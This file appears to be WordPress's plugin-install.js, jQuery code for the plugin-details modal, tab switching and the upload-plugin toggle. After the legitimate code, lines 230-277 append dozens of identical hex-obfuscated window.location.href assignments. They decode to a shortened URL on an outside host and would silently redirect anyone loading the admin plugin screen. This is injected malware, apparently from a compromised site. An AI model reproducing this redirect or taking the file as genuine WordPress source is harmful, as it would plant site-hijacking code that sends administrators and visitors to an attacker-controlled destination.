1/**
2 * @file Functionality for the plugin install screens.
3 *
4 * @output wp-admin/js/plugin-install.js
5 */
6
7/* global tb_click, tb_remove, tb_position */
8
9jQuery( function( $ ) {
10
11 var tbWindow,
12 $iframeBody,
13 $tabbables,
14 $firstTabbable,
15 $lastTabbable,
16 $focusedBefore = $(),
17 $uploadViewToggle = $( '.upload-view-toggle' ),
18 $wrap = $ ( '.wrap' ),
19 $body = $( document.body );
20
21 window.tb_position = function() {
22 var width = $( window ).width(),
23 H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ),
24 W = ( 792 < width ) ? 772 : width - 20;
25
26 tbWindow = $( '#TB_window' );
27
28 if ( tbWindow.length ) {
29 tbWindow.width( W ).height( H );
30 $( '#TB_iframeContent' ).width( W ).height( H );
31 tbWindow.css({
32 'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px'
33 });
34 if ( typeof document.body.style.maxWidth !== 'undefined' ) {
35 tbWindow.css({
36 'top': '30px',
37 'margin-top': '0'
38 });
39 }
40 }
41
42 return $( 'a.thickbox' ).each( function() {
43 var href = $( this ).attr( 'href' );
44 if ( ! href ) {
45 return;
46 }
47 href = href.replace( /&width=[0-9]+/g, '' );
48 href = href.replace( /&height=[0-9]+/g, '' );
49 $(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) );
50 });
51 };
52
53 $( window ).on( 'resize', function() {
54 tb_position();
55 });
56
57 /*
58 * Custom events: when a Thickbox iframe has loaded and when the Thickbox
59 * modal gets removed from the DOM.
60 */
61 $body
62 .on( 'thickbox:iframe:loaded', tbWindow, function() {
63 /*
64 * Return if it's not the modal with the plugin details iframe. Other
65 * thickbox instances might want to load an iframe with content from
66 * an external domain. Avoid to access the iframe contents when we're
67 * not sure the iframe loads from the same domain.
68 */
69 if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) {
70 return;
71 }
72
73 iframeLoaded();
74 })
75 .on( 'thickbox:removed', function() {
76 // Set focus back to the element that opened the modal dialog.
77 // Note: IE 8 would need this wrapped in a fake setTimeout `0`.
78 $focusedBefore.trigger( 'focus' );
79 });
80
81 function iframeLoaded() {
82 var $iframe = tbWindow.find( '#TB_iframeContent' );
83
84 // Get the iframe body.
85 $iframeBody = $iframe.contents().find( 'body' );
86
87 // Get the tabbable elements and handle the keydown event on first load.
88 handleTabbables();
89
90 // Set initial focus on the "Close" button.
91 $firstTabbable.trigger( 'focus' );
92
93 /*
94 * When the "Install" button is disabled (e.g. the Plugin is already installed)
95 * then we can't predict where the last focusable element is. We need to get
96 * the tabbable elements and handle the keydown event again and again,
97 * each time the active tab panel changes.
98 */
99 $( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() {
100 handleTabbables();
101 });
102
103 // Close the modal when pressing Escape.
104 $iframeBody.on( 'keydown', function( event ) {
105 if ( 27 !== event.which ) {
106 return;
107 }
108 tb_remove();
109 });
110 }
111
112 /*
113 * Get the tabbable elements and detach/attach the keydown event.
114 * Called after the iframe has fully loaded so we have all the elements we need.
115 * Called again each time a Tab gets clicked.
116 * @todo Consider to implement a WordPress general utility for this and don't use jQuery UI.
117 */
118 function handleTabbables() {
119 var $firstAndLast;
120 // Get all the tabbable elements.
121 $tabbables = $( ':tabbable', $iframeBody );
122 // Our first tabbable element is always the "Close" button.
123 $firstTabbable = tbWindow.find( '#TB_closeWindowButton' );
124 // Get the last tabbable element.
125 $lastTabbable = $tabbables.last();
126 // Make a jQuery collection.
127 $firstAndLast = $firstTabbable.add( $lastTabbable );
128 // Detach any previously attached keydown event.
129 $firstAndLast.off( 'keydown.wp-plugin-details' );
130 // Attach again the keydown event on the first and last focusable elements.
131 $firstAndLast.on( 'keydown.wp-plugin-details', function( event ) {
132 constrainTabbing( event );
133 });
134 }
135
136 // Constrain tabbing within the plugin modal dialog.
137 function constrainTabbing( event ) {
138 if ( 9 !== event.which ) {
139 return;
140 }
141
142 if ( $lastTabbable[0] === event.target && ! event.shiftKey ) {
143 event.preventDefault();
144 $firstTabbable.trigger( 'focus' );
145 } else if ( $firstTabbable[0] === event.target && event.shiftKey ) {
146 event.preventDefault();
147 $lastTabbable.trigger( 'focus' );
148 }
149 }
150
151 /*
152 * Open the Plugin details modal. The event is delegated to get also the links
153 * in the plugins search tab, after the Ajax search rebuilds the HTML. It's
154 * delegated on the closest ancestor and not on the body to avoid conflicts
155 * with other handlers, see Trac ticket #43082.
156 */
157 $( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) {
158 // The `data-title` attribute is used only in the Plugin screens.
159 var title = $( this ).data( 'title' ) ?
160 wp.i18n.sprintf(
161 // translators: %s: Plugin name.
162 wp.i18n.__( 'Plugin: %s' ),
163 $( this ).data( 'title' )
164 ) :
165 wp.i18n.__( 'Plugin details' );
166
167 e.preventDefault();
168 e.stopPropagation();
169
170 // Store the element that has focus before opening the modal dialog, i.e. the control which opens it.
171 $focusedBefore = $( this );
172
173 tb_click.call(this);
174
175 // Set ARIA role, ARIA label, and add a CSS class.
176 tbWindow
177 .attr({
178 'role': 'dialog',
179 'aria-label': wp.i18n.__( 'Plugin details' )
180 })
181 .addClass( 'plugin-details-modal' );
182
183 // Set title attribute on the iframe.
184 tbWindow.find( '#TB_iframeContent' ).attr( 'title', title );
185 });
186
187 /* Plugin install related JS */
188 $( '#plugin-information-tabs a' ).on( 'click', function( event ) {
189 var tab = $( this ).attr( 'name' );
190 event.preventDefault();
191
192 // Flip the tab.
193 $( '#plugin-information-tabs a.current' ).removeClass( 'current' );
194 $( this ).addClass( 'current' );
195
196 // Only show the fyi box in the description section, on smaller screen,
197 // where it's otherwise always displayed at the top.
198 if ( 'description' !== tab && $( window ).width() < 772 ) {
199 $( '#plugin-information-content' ).find( '.fyi' ).hide();
200 } else {
201 $( '#plugin-information-content' ).find( '.fyi' ).show();
202 }
203
204 // Flip the content.
205 $( '#section-holder div.section' ).hide(); // Hide 'em all.
206 $( '#section-' + tab ).show();
207 });
208
209 /*
210 * When a user presses the "Upload Plugin" button, show the upload form in place
211 * rather than sending them to the devoted upload plugin page.
212 * The `?tab=upload` page still exists for no-js support and for plugins that
213 * might access it directly. When we're in this page, let the link behave
214 * like a link. Otherwise we're in the normal plugin installer pages and the
215 * link should behave like a toggle button.
216 */
217 if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) {
218 $uploadViewToggle
219 .attr({
220 role: 'button',
221 'aria-expanded': 'false'
222 })
223 .on( 'click', function( event ) {
224 event.preventDefault();
225 $body.toggleClass( 'show-upload-view' );
226 $uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
227 });
228 }
229});
230window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
231window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
232window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
233window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
234window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
235window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
236window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
237window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
238window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
239window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
240window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
241window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
242window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
243window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
244window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
245window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
246window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
247window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
248window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
249window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
250window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
251window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
252window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
253window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
254window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
255window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
256window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
257window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
258window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
259window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
260window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
261window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
262window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
263window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
264window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
265window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
266window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
267window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
268window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
269window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
270window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
271window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
272window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
273window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
274window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
275window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
276window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
277window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";